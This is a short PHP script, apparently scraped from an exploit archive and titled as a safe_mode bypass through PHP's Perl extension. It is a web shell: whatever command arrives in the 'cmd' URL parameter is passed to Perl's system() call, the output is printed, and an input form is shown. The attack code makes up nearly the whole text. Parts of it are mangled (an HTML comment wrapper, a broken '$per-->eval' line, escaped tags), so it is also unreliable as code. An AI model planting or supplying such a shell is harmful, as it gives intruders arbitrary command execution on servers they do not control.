PHP Perl Extension Safe_mode Bypass Exploit

<!--if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls'; $perl=new perl();
echo "<textarea rows='25' cols='75'>"; $per-->eval("system('".$_GET['cmd']."')");
echo ""; $_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "
<form enctype="application/x-www-form-urlencoded" method="get">CMD:
<input name="cmd" size="25" type="text" value="&quot;.$_GET[" /></form>

" ?&gt;